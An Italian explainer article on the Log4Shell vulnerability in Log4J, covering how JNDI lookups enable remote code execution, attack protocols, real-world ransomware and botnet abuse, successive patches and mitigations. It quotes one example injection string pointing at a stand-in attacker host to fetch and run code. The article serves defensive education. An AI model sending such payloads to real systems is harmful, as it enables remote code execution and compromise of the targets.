Che cos'è Log4Shell?

Log4Shell (identificatore Common Vulnerabilities and Exposures CVE-2021-44228) ha un punteggio CVSS (Common Vulnerability Scoring System) pari a 10, che denota una vulnerabilità critica. È considerata una delle vulnerabilità più pericolose di sempre a causa della sua ampia portata e delle conseguenze potenzialmente devastanti.

Si stima che il 10% di tutti gli asset digitali comprese le applicazioni web, i cloud service e gli endpoint fisici come i server, fossero vulnerabili a Log4Shell al momento della sua scoperta. Gli hacker possono utilizzare Log4Shell per fare praticamente qualsiasi cosa: sottrarre dati (esfiltrazione di dati), installare ransomware, catturare dispositivi per botnet e molto altro.

I ricercatori nel campo della sicurezza cloud hanno scoperto per la prima volta Log4Shell nel novembre 2021. Apache ha rilasciato una patch nel dicembre 2021 e tutte le versioni di Log4J dalla 2.17.1 in poi sono prive di Log4Shell e delle relative vulnerabilità. Tuttavia, la Cybersecurity and Infrastructure Security Agency (CISA) riferisce che Log4Shell è ancora tra le vulnerabilità più comunemente sfruttate. Log4J pervade la supply chain del software, pertanto individuare e correggere ogni istanza vulnerabile potrebbe richiedere anni.

Nel frattempo, i team di sicurezza possono adottare altre misure per ridurre l'esposizione della rete, discusse più dettagliatamente qui di seguito.

Log4Shell colpisce Log4J, una libreria di registrazione open source gestita dall'Apache Software Foundation. Log4J è un logger, un componente software che registra informazioni ed eventi in un programma, come messaggi di errore e input dell'utente.

Log4J non è un programma autonomo, bensì un pacchetto di codice che gli sviluppatori possono collegare alle applicazioni Java anziché creare dei logger partendo da zero. Grandi organizzazioni tra cui Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco e molte altre utilizzano Log4J nel proprio software e nei propri servizi.

Log4Shell deriva dal modo in cui le versioni vulnerabili di Log4J gestiscono due funzioni correlate: lookup Java Naming and Directory Interface (JNDI) e message lookup substitution. Ciascuna funzione da sola sarebbe innocua, ma l'interazione tra di loro fornisce agli hacker un'arma potente.

JNDI è un'application programming interface (API) che le app Java utilizzano per accedere alle risorse in hosting su server esterni. Un JNDI lookup è un comando che dice all'app di andare su un server e scaricare un oggetto specifico, come dati o script. Le versioni più vecchie di Log4J eseguono automaticamente qualsiasi codice scaricato in questo modo.

La funzione message lookup substitution consente agli utenti e alle app di inviare variabili a Log4J all'interno dei messaggi di log utilizzando una sintassi specifica: ${prefix:name}. Quando Log4J si trova di fronte a questa sintassi, risolve la variabile e registra il valore nel log. Ad esempio, se Log4J riceve un messaggio che recita

${java:version}

individua la versione corrente di Java in esecuzione sul dispositivo. Nel log, registra: "Java versione X.XX".

In pratica, Log4J non tratta le sostituzioni di ricerca dei messaggi come testo normale. Li tratta come comandi e agisce in base a ciò che dicono. Gli hacker possono sfruttare questa vulnerabilità per inviare comandi di ricerca JNDI nocivi alle app che eseguono versioni vulnerabili di Log4J. Ad esempio, un hacker potrebbe inviare a Log4J una stringa come questa:

${jndi:ldap://myevilwebsite.biz/maliciouscode}

Quando Log4J riceve questo messaggio, risolve la variabile contattando il server su myevilwebsite.biz e scaricando l'oggetto che si trova in /maliciouscode. Questo processo porterebbe Log4J a eseguire qualsiasi codice Java che l'hacker avesse nascosto in quella posizione, solitamente malware.

Gli hacker possono utilizzare protocolli standard per attivare Log4Shell, consentendo al traffico nocivo di essere rilevato più difficilmente. La maggior parte degli attacchi Log4Shell utilizza uno dei seguenti protocolli: Lightweight Directory Access Protocol (LDAP); Remote Method Invocation (RMI) o Domain Name System (DNS).

LDAP viene utilizzato per memorizzare i dati in una posizione centrale accessibile da app e servizi diversi. LDAP è il metodo più comune utilizzato dagli hacker per utilizzare Log4Shell. Un attacco tipico funziona nel seguente modo:

• L'hacker configura un server LDAP e memorizza su di esso un codice dannoso.
  
  
• L'hacker invia una ricerca JNDI a un programma utilizzando Log4J.
  
  
• La ricerca JNDI fa sì che il programma arrivi al server LDAP dell'aggressore, scarichi il payload ed esegua il codice.

RMI è una funzione Java che consente a un'app su un dispositivo di dire a un'app su un altro dispositivo di eseguire un'azione, come condividere informazioni o eseguire una funzione.

Gli attacchi RMI funzionano in modo simile agli attacchi LDAP: gli hacker impostano un server RMI, ingannano la vittima facendola connettere al loro server e inviano comandi dannosi alla vittima.

Gli attacchi RMI non sono molto comuni, tuttavia alcuni hacker stanno passando a RMI perché sempre più organizzazioni stanno bloccando del tutto il traffico LDAP.

Gli hacker utilizzano il DNS per cercare i loro bersagli. Inviano una ricerca JNDI a un programma, dicendogli di connettersi a un server DNS controllato dagli hacker. Se il server DNS registra una connessione dal programma, gli hacker sanno che il sistema è vulnerabile a ulteriori tentativi di sfruttamento di Log4Shell.

Poiché Log4Shell consente agli hacker di eseguire codice arbitrario, i criminali informatici possono utilizzare la vulnerabilità per lanciare una serie di attacchi diversificati. Anche Log4Shell rappresentava una vulnerabilità zero-day al momento della sua scoperta, quindi gli hacker erano avvantaggiati.

Alcuni dei primi attacchi Log4Shell hanno infettato i computer con i cryptojacker, un tipo di malware che utilizza un dispositivo per estrarre criptovalute all'insaputa del proprietario. La botnet Mirai ha approfittato della vulnerabilità anche per assumere il controllo dei dispositivi.

Sono molti gli attacchi ransomware che hanno utilizzato Log4Shell. I più importanti includono il ceppo Khonsari, che si è diffuso tramite il videogioco Minecraft, e NightSky, che ha preso di mira i sistemi che eseguivano VMware Horizon.

Gli access broker hanno utilizzato Log4Shell per stabilire dei punti di appoggio nelle reti aziendali di alto valore, spesso rilasciando segretamente Trojan di accesso remoto (RAT) sui sistemi compromessi. I broker di accesso vendono poi questi punti d'appoggio agli affiliati di ransomware-as-a-service o ad altri hacker sul dark web.

Mentre Apache lavorava alla patch di Log4Shell dopo la sua scoperta, è emersa una serie di difetti correlati. In definitiva, sono state necessarie quattro patch per risolvere completamente Log4Shell e tutte le relative vulnerabilità.

La prima patch Apache rilasciata, Log4J versione 2.15.0, ha risolto gran parte della vulnerabilità Log4Shell. Tuttavia, gli hacker potrebbero comunque inviare ricerche JNDI nocive a sistemi che utilizzavano determinate impostazioni non predefinite. Apache ha risolto il problema con Log4J versione 2.16.0.

Anche la versione 2.16.0 si è rivelata incompleta. Gli hacker potrebbero utilizzare la ricerca di messaggi dannosi per inviare i sistemi vulnerabili in ricorsività infinite, portando ad attacchi denial-of-service. Apache ha rilasciato la versione 2.17 per risolvere il problema.

Meno grave degli altri, questo difetto consentiva agli hacker di eseguire codice in remoto, ma prima dovevano ottenere autorizzazioni elevate e modificare le configurazioni dei log. Apache ha affrontato questo problema con una quarta patch, Log4J versione 2.17.1.

I ricercatori nel campo della sicurezza raccomandano vivamente alle organizzazioni di dare priorità all'aggiornamento di tutte le istanze di Log4J nelle loro reti passando alla versione più recente o almeno alla versione 2.17.1. Il patching è l'unico modo per correggere completamente Log4Shell.

Tuttavia, i team addetti alla sicurezza potrebbero non riuscire ad associare immediatamente tutte le istanze di Log4J nelle proprie reti. Le installazioni Log4J vulnerabili sono spesso presenti sotto forma di dipendenze indirette, per cui gli asset dell'azienda non utilizzano Log4J, ma fanno affidamento su altre app e servizi che la utilizzano. Secondo Google, le istanze Log4J più vulnerabili hanno una profondità di più di un livello e alcune hanno una profondità fino a nove livelli.

Quando Log4J è una dipendenza indiretta, diventa molto più difficile per i team addetti alla sicurezza individuarla. Quando la individuano, i team potrebbero non riuscire a correggerla, a seconda della posizione. Se Log4J è nascosta in un pacchetto software utilizzato da un'app di terze parti, il team di sicurezza dovrà aspettare che il fornitore aggiorni Log4J nel proprio prodotto.

Anche quando Log4J è presente come dipendenza diretta, potrebbe essere difficile da individuare. Il processo di sviluppo del software è oggi molto complesso e fa affidamento su grandi team e vasti array di codice preesistente. Gli sviluppatori potrebbero non rendersi conto che le loro app contengono versioni vulnerabili di Log4J, poiché tali istanze potrebbero risiedere all'interno di pacchetti software prescritti che gli sviluppatori non hanno codificato personalmente.

A dicembre 2022, il 25 percento dei download di Log4J era ancora vulnerabile a Log4Shell, il che significa che gli utenti utilizzavano versioni obsolete di Log4J per creare nuovi asset.

Log4J è talmente diffusa nella supply chain del software che trovare e correggere ogni istanza vulnerabile richiederà almeno un decennio, secondo il US Department of Homeland Security.

Nel frattempo, i team di sicurezza possono adottare altre misure per ridurre l'esposizione alla rete.

I team addetti alla sicurezza possono disabilitare la funzione message lookup substitutions in Log4J, in modo che Log4J tratti i messaggi degli hacker come testo normale anziché come comandi da eseguire.

È possibile farlo in due modi: cambiando la proprietà di sistema "Log4J2.formatMsgNoLookups" in "true" o impostando il valore della variabile di ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS in "true".

Bisogna ricordare che le versioni senza patch di Log4J soffrono ancora di CVE-2021-45046, che consente agli hacker di inviare ricerche JNDI nocive quando vengono utilizzate determinate impostazioni non predefinite. Vietare la ricerca dei messaggi non è, quindi, infallibile.

Le app Java utilizzano le classi per definire ciò che un programma può fare. In Log4J, la classe "JNDIlookup" regola le ricerche JNDI. Se questa classe viene rimossa dalla directory delle classi di Log4J, ovvero il classpath, le ricerche JNDI non possono più essere eseguite.

La mancata autorizzazione delle ricerche JNDI impedisce agli hacker di inviare comandi dannosi, ma può anche incidere su altre funzioni di Log4J e sulle app che lo utilizzano. Può essere difficile assicurarsi che ogni istanza della classe venga rimossa.

Le organizzazioni possono utilizzare firewall e altri strumenti di cybersecurity per bloccare il traffico proveniente da asset vulnerabili con accesso a Internet verso i server controllati dagli aggressori. Ad esempio, i team di sicurezza potrebbero impostare regole per vietare tutte le connessioni utilizzando i protocolli LDAP o RMI.

Il blocco del traffico in uscita anziché del traffico in entrata aiuta a evitare falsi positivi, poiché fornitori e ricercatori nel campo della sicurezza potrebbero scansionare gli asset per trovare istanze persistenti e senza patch.

Lo svantaggio è che i firewall possono bloccare o frustrare le connessioni in uscita necessarie, specialmente se un'organizzazione utilizza LDAP o RMI per motivi legittimi.